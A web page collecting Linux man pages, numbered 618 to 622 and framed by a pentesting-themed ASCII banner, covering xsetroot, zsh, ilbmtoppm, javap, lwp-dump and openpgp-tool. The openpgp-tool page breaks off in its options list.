The xsetroot program allows you to tailor the appearance of the background (“root”) window on a workstation display running X. Normally, you experiment with xsetroot until you find a personalized look that you like, then put the xsetroot command that produces it into your X startup file. If no options are specified, or if -def is specified, the window is reset to its default state. The -def option can be specified along with other options and only the non-specified characteristics will be reset to the default state.

Only one of the background color/tiling changing options (-solid, -gray, -grey, -bitmap, and -mod) may be specified at a time.

OPTIONS

The various options are as follows:

-help
Print a usage message and exit.

-version
Print a version message and exit.

-def, -default
Reset unspecified attributes to the default values. (Restores the background to the familiar gray mesh and the cursor to the hollow x shape.)

-cursor cursorfile maskfile
This lets you change the pointer cursor to whatever you want when the pointer cursor is outside of any window. Cursor and mask files are bitmaps (little pictures), and can be made with the bitmap(1) program. You probably want the mask file to be all black until you get used to the way masks work.

-cursor_name cursorfontname
This lets you change the pointer cursor to one of the standard cursors from the cursor font. Refer to appendix B of the X protocol for the names (except that the XC_ prefix is elided for this option).

-xcf cursorfile cursorsize
This lets you change the pointer cursor to one loaded from an Xcursor file as defined by libXcursor, at the specified size.

-bitmap filename
Use the bitmap specified in the file to set the window pattern. You can make your own bitmap files (little pictures) using the bitmap(1) program. The entire background will be made up of repeated “tiles” of the bitmap.

-mod x y
This is used if you want a plaid-like grid pattern on your screen. x and y are integers ranging from 1 to 16. Try the different combinations. Zero and negative numbers are taken as 1.

-gray, -grey
Make the entire background gray (Easier on the eyes).

-bg, -background color
Use ``color’’ as the background color.

-fg, -foreground color
Use ``color’’ as the foreground color. Foreground and background colors are meaningful only in combination with -cursor, -bitmap, or -mod.

-rv, -reverse
This exchanges the foreground and background colors. Normally the foreground color is black and the background color is white.

-solid color
This sets the background of the root window to the specified color. This option is only useful on color servers.

-name string
Set the name of the root window to ``string’’. There is no default value. Usually a name is assigned to a window so that the window manager can use a text representation when the window is iconified. This option is unused since you can’t iconify the background.

-d, -display display
Specifies the server to connect to; see X(7).

SEE ALSO

X(7), xset(1), xrdb(1), Xcursor(3)

AUTHOR

Mark Lillibridge, MIT Project Athena

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

618 - Linux cli command zsh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zsh and provides detailed information about the command zsh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zsh.

NAME 🖥️ zsh 🖥️

the Z shell

OVERVIEW

Because zsh contains many features, the zsh manual has been split into a number of sections:

zsh Zsh overview (this section)
zshroadmap Informal introduction to the manual
zshmisc Anything not fitting into the other sections
zshexpn Zsh command and parameter expansion
zshparam Zsh parameters
zshoptions Zsh options
zshbuiltins Zsh built-in functions
zshzle Zsh command line editing
zshcompwid Zsh completion widgets
zshcompsys Zsh completion system
zshcompctl Zsh completion control
zshmodules Zsh loadable modules
zshcalsys Zsh built-in calendar functions
zshtcpsys Zsh built-in TCP functions
zshzftpsys Zsh built-in FTP client
zshcontrib Additional zsh functions and utilities
zshall Meta-man page containing all of the above

DESCRIPTION

Zsh is a UNIX command interpreter (shell) usable as an interactive login shell and as a shell script command processor. Of the standard shells, zsh most closely resembles ksh but includes many enhancements. It does not provide compatibility with POSIX or other shells in its default operating mode: see the section `Compatibility’ below.

Zsh has command line editing, builtin spelling correction, programmable command completion, shell functions (with autoloading), a history mechanism, and a host of other features.

AUTHOR

Zsh was originally written by Paul Falstad. Zsh is now maintained by the members of the zsh-workers mailing list <[email protected]>. The development is currently coordinated by Peter Stephenson <[email protected]>. The coordinator can be contacted at <[email protected]>, but matters relating to the code should generally go to the mailing list.

AVAILABILITY

Zsh is available from the following HTTP and anonymous FTP site.

ftp://ftp.zsh.org/pub/
https://www.zsh.org/pub/

The up-to-date source code is available via Git from Sourceforge. See https://sourceforge.net/projects/zsh/ for details. A summary of instructions for the archive can be found at https://zsh.sourceforge.io/.

MAILING LISTS

Zsh has several mailing lists:

<[email protected]> Announcements about releases, major changes in the shell and the monthly posting of the Zsh FAQ. (moderated)

<[email protected]>
User discussions.

<[email protected]>
Hacking, development, bug reports and patches.

<[email protected]>
Private mailing list (the general public cannot subscribe to it) for discussing bug reports with security implications, i.e., potential vulnerabilities.

If you find a security problem in zsh itself, please mail this address.

To subscribe or unsubscribe, send mail to the associated administrative address for the mailing list.

<[email protected]>
<[email protected]>
<[email protected]>

<[email protected]>
<[email protected]>
<[email protected]>

YOU ONLY NEED TO JOIN ONE OF THE MAILING LISTS AS THEY ARE NESTED. All submissions to zsh-announce are automatically forwarded to zsh-users. All submissions to zsh-users are automatically forwarded to zsh-workers.

If you have problems subscribing/unsubscribing to any of the mailing lists, send mail to <[email protected]>.

The mailing lists are archived; the archives can be accessed via the administrative addresses listed above. There is also a hypertext archive available at https://www.zsh.org/mla/.

THE ZSH FAQ

Zsh has a list of Frequently Asked Questions (FAQ), maintained by Peter Stephenson <[email protected]>. It is regularly posted to the newsgroup comp.unix.shell and the zsh-announce mailing list. The latest version can be found at any of the Zsh FTP sites, or at https://www.zsh.org/FAQ/. The contact address for FAQ-related matters is <[email protected]>.

THE ZSH WEB PAGE

Zsh has a web page which is located at https://www.zsh.org/. The contact address for web-related matters is <[email protected]>.

THE ZSH USERGUIDE

A userguide is currently in preparation. It is intended to complement the manual, with explanations and hints on issues where the manual can be cabbalistic, hierographic, or downright mystifying (for example, the word `hierographic’ does not exist). It can be viewed in its current state at https://zsh.sourceforge.io/Guide/. At the time of writing, chapters dealing with startup files and their contents and the new completion system were essentially complete.

INVOCATION

The following flags are interpreted by the shell when invoked to determine where the shell will read commands from:

-c Take the first argument as a command to execute, rather than reading commands from a script or standard input. If any further arguments are given, the first one is assigned to $0, rather than being used as a positional parameter.

-i
Force shell to be interactive. It is still possible to specify a script to execute.

-s
Force shell to read commands from the standard input. If the -s flag is not present and an argument is given, the first argument is taken to be the pathname of a script to execute.

If there are any remaining arguments after option processing, and neither of the options -c or -s was supplied, the first argument is taken as the file name of a script containing shell commands to be executed. If the option PATH_SCRIPT is set, and the file name does not contain a directory path (i.e. there is no `/’ in the name), first the current directory and then the command path given by the variable PATH are searched for the script. If the option is not set or the file name contains a `/’ it is used directly.

After the first one or two arguments have been appropriated as described above, the remaining arguments are assigned to the positional parameters.

For further options, which are common to invocation and the set builtin, see zshoptions(1).

The long option `–emulate’ followed (in a separate word) by an emulation mode may be passed to the shell. The emulation modes are those described for the emulate builtin, see zshbuiltins(1). The `–emulate’ option must precede any other options (which might otherwise be overridden), but following options are honoured, so may be used to modify the requested emulation mode. Note that certain extra steps are taken to ensure a smooth emulation when this option is used compared with the emulate command within the shell: for example, variables that conflict with POSIX usage such as path are not defined within the shell.

Options may be specified by name using the -o option. -o acts like a single-letter option, but takes a following string as the option name. For example,

zsh -x -o shwordsplit scr

runs the script scr, setting the XTRACE option by the corresponding letter `-x’ and the SH_WORD_SPLIT option by name. Options may be turned off by name by using +o instead of -o. -o can be stacked up with preceding single-letter options, so for example `-xo shwordsplit’ or `-xoshwordsplit’ is equivalent to `-x -o shwordsplit'.

Options may also be specified by name in GNU long option style, `option-name’. When this is done, `-’ characters in the option name are permitted: they are translated into `_’, and thus ignored. So, for example, `zsh –sh-word-split’ invokes zsh with the SH_WORD_SPLIT option turned on. Like other option syntaxes, options can be turned off by replacing the initial `-’ with a `+’; thus `+-sh-word-split’ is equivalent to `–no-sh-word-split’. Unlike other option syntaxes, GNU-style long options cannot be stacked with any other options, so for example `-x-shwordsplit’ is an error, rather than being treated like `-x –shwordsplit'.

The special GNU-style option `–version’ is handled; it sends to standard output the shell’s version information, then exits successfully. `–help’ is also handled; it sends to standard output a list of options that can be used when invoking the shell, then exits successfully.

Option processing may be finished, allowing following arguments that start with `-’ or `+’ to be treated as normal arguments, in two ways. Firstly, a lone `-’ (or `+’) as an argument by itself ends option processing. Secondly, a special option `’ (or `+-’), which may be specified on its own (which is the standard POSIX usage) or may be stacked with preceding options (so `-x-’ is equivalent to `-x –’). Options are not permitted to be stacked after `’ (so `-x-f’ is an error), but note the GNU-style option form discussed above, where `–shwordsplit’ is permitted and does not end option processing.

Except when the sh/ksh emulation single-letter options are in effect, the option `-b’ (or `+b’) ends option processing. `-b’ is like `’, except that further single-letter options can be stacked after the `-b’ and will take effect as normal.

COMPATIBILITY

Zsh tries to emulate sh or ksh when it is invoked as sh or ksh respectively; more precisely, it looks at the first letter of the name by which it was invoked, excluding any initial `r’ (assumed to stand for `restricted’), and if that is `b’, `s’ or `k’ it will emulate sh or ksh. Furthermore, if invoked as su (which happens on certain systems when the shell is executed by the su command), the shell will try to find an alternative name from the SHELL environment variable and perform emulation based on that.

In sh and ksh compatibility modes the following parameters are not special and not initialized by the shell: ARGC, argv, cdpath, fignore, fpath, HISTCHARS, mailpath, MANPATH, manpath, path, prompt, PROMPT, PROMPT2, PROMPT3, PROMPT4, psvar, status.

The usual zsh startup/shutdown scripts are not executed. Login shells source /etc/profile followed by $HOME/.profile. If the ENV environment variable is set on invocation, $ENV is sourced after the profile scripts. The value of ENV is subjected to parameter expansion, command substitution, and arithmetic expansion before being interpreted as a pathname. Note that the PRIVILEGED option also affects the execution of startup files.

The following options are set if the shell is invoked as sh or ksh: NO_BAD_PATTERN, NO_BANG_HIST, NO_BG_NICE, NO_EQUALS, NO_FUNCTION_ARGZERO, GLOB_SUBST, NO_GLOBAL_EXPORT, NO_HUP, INTERACTIVE_COMMENTS, KSH_ARRAYS, NO_MULTIOS, NO_NOMATCH, NO_NOTIFY, POSIX_BUILTINS, NO_PROMPT_PERCENT, RM_STAR_SILENT, SH_FILE_EXPANSION, SH_GLOB, SH_OPTION_LETTERS, SH_WORD_SPLIT. Additionally the BSD_ECHO and IGNORE_BRACES options are set if zsh is invoked as sh. Also, the KSH_OPTION_PRINT, LOCAL_OPTIONS, PROMPT_BANG, PROMPT_SUBST and SINGLE_LINE_ZLE options are set if zsh is invoked as ksh.

Please note that, whilst reasonable efforts are taken to address incompatibilities when they arise, zsh does not guarantee complete emulation of other shells, nor POSIX compliance. For more information on the differences between zsh and other shells, please refer to chapter 2 of the shell FAQ, https://www.zsh.org/FAQ/.

RESTRICTED SHELL

When the basename of the command used to invoke zsh starts with the letter `r’ or the `-r’ command line option is supplied at invocation, the shell becomes restricted. Emulation mode is determined after stripping the letter `r’ from the invocation name. The following are disabled in restricted mode:

· changing directories with the cd builtin

·
changing or unsetting the EGID, EUID, GID, HISTFILE, HISTSIZE, IFS, LD_AOUT_LIBRARY_PATH, LD_AOUT_PRELOAD, LD_LIBRARY_PATH, LD_PRELOAD, MODULE_PATH, module_path, PATH, path, SHELL, UID and USERNAME parameters

·
specifying command names containing /

·
specifying command pathnames using hash

·
redirecting output to files

·
using the exec builtin command to replace the shell with another command

·
using jobs -Z to overwrite the shell process’ argument and environment space

·
using the ARGV0 parameter to override argv[0] for external commands

·
turning off restricted mode with set +r or unsetopt RESTRICTED

These restrictions are enforced after processing the startup files. The startup files should set up PATH to point to a directory of commands which can be safely invoked in the restricted environment. They may also add further restrictions by disabling selected builtins.

Restricted mode can also be activated any time by setting the RESTRICTED option. This immediately enables all the restrictions described above even if the shell still has not processed all startup files.

A shell Restricted Mode is an outdated way to restrict what users may do: modern systems have better, safer and more reliable ways to confine user actions, such as chroot jails, containers and zones.

A restricted shell is very difficult to implement safely. The feature may be removed in a future version of zsh.

It is important to realise that the restrictions only apply to the shell, not to the commands it runs (except for some shell builtins). While a restricted shell can only run the restricted list of commands accessible via the predefined `PATH’ variable, it does not prevent those commands from running any other command.

As an example, if `env’ is among the list of allowed commands, then it allows the user to run any command as `env’ is not a shell builtin command and can run arbitrary executables.

So when implementing a restricted shell framework it is important to be fully aware of what actions each of the allowed commands or features (which may be regarded as modules) can perform.

Many commands can have their behaviour affected by environment variables. Except for the few listed above, zsh does not restrict the setting of environment variables.

If a `perl’, `python’, `bash’, or other general purpose interpreted script it treated as a restricted command, the user can work around the restriction by setting specially crafted `PERL5LIB’, `PYTHONPATH’, `BASHENV’ (etc.) environment variables. On GNU systems, any command can be made to run arbitrary code when performing character set conversion (including zsh itself) by setting a `GCONV_PATH’ environment variable. Those are only a few examples.

Bear in mind that, contrary to some other shells, `readonly’ is not a security feature in zsh as it can be undone and so cannot be used to mitigate the above.

A restricted shell only works if the allowed commands are few and carefully written so as not to grant more access to users than intended. It is also important to restrict what zsh module the user may load as some of them, such as `zsh/system’, `zsh/mapfile’ and `zsh/files’, allow bypassing most of the restrictions.

STARTUP/SHUTDOWN FILES

Commands are first read from /etc/zsh/zshenv; this cannot be overridden. Subsequent behaviour is modified by the RCS and GLOBAL_RCS options; the former affects all startup files, while the second only affects global startup files (those shown here with an path starting with a /). If one of the options is unset at any point, any subsequent startup file(s) of the corresponding type will not be read. It is also possible for a file in $ZDOTDIR to re-enable GLOBAL_RCS. Both RCS and GLOBAL_RCS are set by default.

Commands are then read from $ZDOTDIR/.zshenv. If the shell is a login shell, commands are read from /etc/zsh/zprofile and then $ZDOTDIR/.zprofile. Then, if the shell is interactive, commands are read from /etc/zsh/zshrc and then $ZDOTDIR/.zshrc. Finally, if the shell is a login shell, /etc/zsh/zlogin and $ZDOTDIR/.zlogin are read.

When a login shell exits, the files $ZDOTDIR/.zlogout and then /etc/zsh/zlogout are read. This happens with either an explicit exit via the exit or logout commands, or an implicit exit by reading end-of-file from the terminal. However, if the shell terminates due to exec‘ing another process, the logout files are not read. These are also affected by the RCS and GLOBAL_RCS options. Note also that the RCS option affects the saving of history files, i.e. if RCS is unset when the shell exits, no history file will be saved.

If ZDOTDIR is unset, HOME is used instead. Files listed above as being in /etc may be in another directory, depending on the installation.

As /etc/zsh/zshenv is run for all instances of zsh, it is important that it be kept as small as possible. In particular, it is a good idea to put code that does not need to be run for every single shell behind a test of the form `if [[ -o rcs ]]; then …’ so that it will not be executed when zsh is invoked with the `-f’ option.

Any of these files may be pre-compiled with the zcompile builtin command (see zshbuiltins(1)). If a compiled file exists (named for the original file plus the .zwc extension) and it is newer than the original file, the compiled file will be used instead.

FILES

$ZDOTDIR/.zshenv
$ZDOTDIR/.zprofile
$ZDOTDIR/.zshrc
$ZDOTDIR/.zlogin
$ZDOTDIR/.zlogout
${TMPPREFIX}* (default is /tmp/zsh*)
/etc/zsh/zshenv
/etc/zsh/zprofile
/etc/zsh/zshrc
/etc/zsh/zlogin
/etc/zsh/zlogout (installation-specific - /etc is the default)

SEE ALSO

sh(1), csh(1), tcsh(1), rc(1), bash(1), ksh(1), zshall(1), zshbuiltins(1), zshcalsys(1), zshcompwid(1), zshcompsys(1), zshcompctl(1), zshcontrib(1), zshexpn(1), zshmisc(1), zshmodules(1), zshoptions(1), zshparam(1), zshroadmap(1), zshtcpsys(1), zshzftpsys(1), zshzle(1)

IEEE Standard for information Technology - Portable Operating System Interface (POSIX) - Part 2: Shell and Utilities, IEEE Inc, 1993, ISBN 1-55937-255-9.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

619 - Linux cli command ilbmtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ilbmtoppm and provides detailed information about the command ilbmtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ilbmtoppm.

.

NAME 🖥️ ilbmtoppm 🖥️

convert an ILBM file into a PPM image

SYNOPSIS

ilbmtoppm [-ignore<chunkID>] [ -isham | -isnotham | -isehb | -isnotehb | -isdeep | -isnotdeep ] [-cmaponly] [-adjustcolors] [-transparent color] [-maskfile filename [-verbose] [ILBMfile]

DESCRIPTION

This program is part of Netpbm(1) .

ilbmtoppm reads an IFF ILBM file as input and produces a PPM image as output. ilbmtoppm can handle the following ILBM types:

  • Normal ILBMs with 1-16 planes.

  • Amiga Extra_Halfbrite (EHB)

  • Amiga HAM with 3-16 planes.

  • 24 bit.

  • Multiplatte (normal or HAM) pictures.

  • Color map (BMHD + CMAP chunk only, nPlanes = 0).

  • Unofficial direct color. 1-16 planes for each color component.

ilbmtoppm uses these ILBM chunks: BMHD, CMAP, CAMG (only HAM & EHB flags used), PCHG, BODY unofficial DCOL chunk to identify direct color ILBM. It ignores these chunks: GRAB, DEST, SPRT, CRNG, CCRT, CLUT, DPPV, DRNG, EPSF. It ignores, but displays in verbose mode, these: NAME, AUTH, (c), ANNO, DPI. It skips chunks whose type it doesn’t recognize.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ilbmtoppm recognizes the following command line options:

-transparent color
This is the color that should “show through” in places where the image is transparent.

color is like the argument of the pnm_parsecolor() library routine .

-verbose
Give some information about the ILBM file.

-ignore chunkID
Skip a chunk. chunkID is the 4-letter IFF chunk identifier of the chunk to be skipped.

-isham | -isehb
Treat the input file as a HAM or Extra_Halfbrite picture, even if these flags are not set in the CAMG chunk (or if there is no CAMG chunk).

-maskfile filename
This names a file for ilbmtoppm to create with the image’s transparency mask. The mask file is a PBM image which maps to the input image with white pixels representing transparent pixels in the image and black pixels representing opaque pixels.

If you don’t specify this, or the image does not contain transparency information, ilbmtoppm does not create a mask file.

-cmaponly
With this option, ilbmtoppm generates a PPM of the ILBM’s color map, not the image itself.

ilbmtoppm does the same thing even without -cmaponly if the ILBM is a pure color map stream (it has a bitmap header with an nplanes value of zero or has no BODY chunk.

-adjustcolors
If all colors in the CMAP have a value of less then 16, ilbmtoppm assumes a 4-bit colormap and gives a warning. With this option the colormap is scaled to 8 bits.

LIMITATIONS

The multipalette PCHG BigLineChanges and Huffman decompression code is untested.

REFERENCES

Amiga ROM Kernel Reference Manual - Devices (3rd Ed.) Addison Wesley, ISBN 0-201-56775-X

SEE ALSO

ppmtoilbm(1) , ppm(1)

AUTHORS

Copyright (C) 1989 by Jef Poskanzer.

Modified October 1993 by Ingo Wilken ([email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ilbmtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

620 - Linux cli command javap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command javap and provides detailed information about the command javap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the javap.

NAME 🖥️ javap 🖥️

disassemble one or more class files

SYNOPSIS

javap [options] classes

options
Specifies the command-line options. See Options for javap.

classes
Specifies one or more classes separated by spaces to be processed for annotations. You can specify a class that can be found in the class path by its file name, URL, or by its fully qualified class name.

Examples:

path/to/MyClass.class

jar:file:///path/to/MyJar.jar!/mypkg/MyClass.class

java.lang.Object

DESCRIPTION

The javap command disassembles one or more class files. The output depends on the options used. When no options are used, the javap command prints the protected and public fields, and methods of the classes passed to it.

The javap command isn’t multirelease JAR aware. Using the class path form of the command results in viewing the base entry in all JAR files, multirelease or not. Using the URL form, you can use the URL form of an argument to specify a specific version of a class to be disassembled.

The javap command prints its output to stdout.

Note:

In tools that support -- style options, the GNU-style options can use the equal sign (=) instead of a white space to separate the name of an option from its value.

OPTIONS FOR JAVAP

**--help**, -help , -h, or -?
Prints a help message for the javap command.

-version
Prints release information.

-verbose or -v
Prints additional information about the selected class.

-l
Prints line and local variable tables.

-public
Shows only public classes and members.

-protected
Shows only protected and public classes and members.

-package
Shows package/protected/public classes and members (default).

-private or -p
Shows all classes and members.

-c
Prints disassembled code, for example, the instructions that comprise the Java bytecodes, for each of the methods in the class.

-s
Prints internal type signatures.

-sysinfo
Shows system information (path, size, date, SHA-256 hash) of the class being processed.

-constants
Shows static final constants.

--module module or -m module
Specifies the module containing classes to be disassembled.

--module-path path
Specifies where to find application modules.

--system jdk
Specifies where to find system modules.

--class-path path, -classpath path, or -cp path
Specifies the path that the javap command uses to find user class files. It overrides the default or the CLASSPATH environment variable when it’s set.

-bootclasspath path
Overrides the location of bootstrap class files.

--multi-release version
Specifies the version to select in multi-release JAR files.

****-Joption
Passes the specified option to the JVM. For example:

javap -J-version

javap -J-Djava.security.manager -J-Djava.security.policy=MyPolicy MyClassName

See Overview of Java Options in java.

JAVAP EXAMPLE

Compile the following HelloWorldFrame class:

import java.awt.Graphics;

import javax.swing.JFrame;
import javax.swing.JPanel;

public class HelloWorldFrame extends JFrame {

   String message = "Hello World!";

   public HelloWorldFrame(){
        setContentPane(new JPanel(){
            @Override
            protected void paintComponent(Graphics g) {
                g.drawString(message, 15, 30);
            }
        });
        setSize(100, 100);
    }
    public static void main(String[] args) {
        HelloWorldFrame frame = new HelloWorldFrame();
        frame.setVisible(true);

    }

}

The output from the javap HelloWorldFrame.class command yields the following:

Compiled from "HelloWorldFrame.java"
public class HelloWorldFrame extends javax.swing.JFrame {
  java.lang.String message;
  public HelloWorldFrame();
  public static void main(java.lang.String[]);
}

The output from the javap -c HelloWorldFrame.class command yields the following:

Compiled from "HelloWorldFrame.java"
public class HelloWorldFrame extends javax.swing.JFrame {
  java.lang.String message;

  public HelloWorldFrame();
    Code:
       0: aload_0
       1: invokespecial #1        // Method javax/swing/JFrame."<init>":()V
       4: aload_0
       5: ldc           #2        // String Hello World!
       7: putfield      #3        // Field message:Ljava/lang/String;
      10: aload_0
      11: new           #4        // class HelloWorldFrame$1
      14: dup
      15: aload_0
      16: invokespecial #5        // Method HelloWorldFrame$1."<init>":(LHelloWorldFrame;)V
      19: invokevirtual #6        // Method setContentPane:(Ljava/awt/Container;)V
      22: aload_0
      23: bipush        100
      25: bipush        100
      27: invokevirtual #7        // Method setSize:(II)V
      30: return

  public static void main(java.lang.String[]);
    Code:
       0: new           #8        // class HelloWorldFrame
       3: dup
       4: invokespecial #9        // Method "<init>":()V
       7: astore_1
       8: aload_1
       9: iconst_1
      10: invokevirtual #10       // Method setVisible:(Z)V
      13: return
}
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

621 - Linux cli command lwp-dumpp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lwp-dumpp and provides detailed information about the command lwp-dumpp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lwp-dumpp.

NAME 🖥️ lwp-dumpp 🖥️

dump - See what headers and content is returned for a URL

SYNOPSIS

lwp-dump [ options ] URL

DESCRIPTION

The lwp-dump program will get the resource identified by the URL and then dump the response object to STDOUT. This will display the headers returned and the initial part of the content, escaped so that it’s safe to display even binary content. The escapes syntax used is the same as for Perl’s double quoted strings. If there is no content the string “(no content)” is shown in its place.

The following options are recognized:

–agent string
Override the user agent string passed to the server.

–keep-client-headers
LWP internally generate various Client-* headers that are stripped by lwp-dump in order to show the headers exactly as the server provided them. This option will suppress this.

–max-length n
How much of the content to show. The default is 512. Set this to 0 for unlimited. If the content is longer then the string is chopped at the limit and the string “… (### more bytes not shown)” appended.

–method string
Use the given method for the request instead of the default “GET”.

–parse-head
By default lwp-dump will not try to initialize headers by looking at the head section of HTML documents. This option enables this. This corresponds to “parse_head” in LWP::UserAgent.

–request
Also dump the request sent.

SEE ALSO

lwp-request, LWP, “dump” in HTTP::Message

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

622 - Linux cli command openpgp-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openpgp-tool and provides detailed information about the command openpgp-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openpgp-tool.

NAME 🖥️ openpgp-tool 🖥️

tool - utility for accessing visible data OpenPGP smart cards and compatible tokens

SYNOPSIS

openpgp-tool [OPTIONS]

DESCRIPTION

The openpgp-tool utility is used for accessing data from the OpenPGP v1.1 and v2.0 smart cards and compatible tokens like e.g. GPF CryptoStick v1.x, which might not be present in PKCS#15 objects but available in custom files on the card. The data can be printed on screen or used by other programs via environment variables.

OPTIONS

–card-info, -C

Show card information.

–del-key arg

Delete key indicated by arg. arg can be 1, 2, 3, or all.

–do arg, -d arg

Dump private data object (DO) indicated by arg. arg can be in the form x, 10x, or 010x to access DO 010x, where x is 1, 2, 3, or 4.

–erase, -E

Erase (i.e. reset) the card.

–exec prog, -x prog

Execute the given program with data in environment variables.

–gen-key arg, -G arg

Generate key with the ID given as arg. arg can be one of 1, 2, or 3.

–help, -h

Print help message on screen.

–key-info, -K

Show information of keys on the card.

–key-type keytype, -t keytype

Specify the type of the key to be generated. Supported values for keytype are rsa for RSA with 2048 bits, rsaLENGTH for RSA with a bit length of LENGTH. If not given, it defaults to rsa2048.

–pin pin

This option can be used to specify the PIN value on the command line. If the value is set to env:VARIABLE, the value of the specified environment variable is used. By default, the code is prompted on the command line if needed.

Note that on most operation systems, any user can display the command line of any process on the system using utilities such as ps(1). Therefore, you should prefer passing the codes via an environment variable on an unsecured system.

–pretty

Print values in pretty format.

–raw

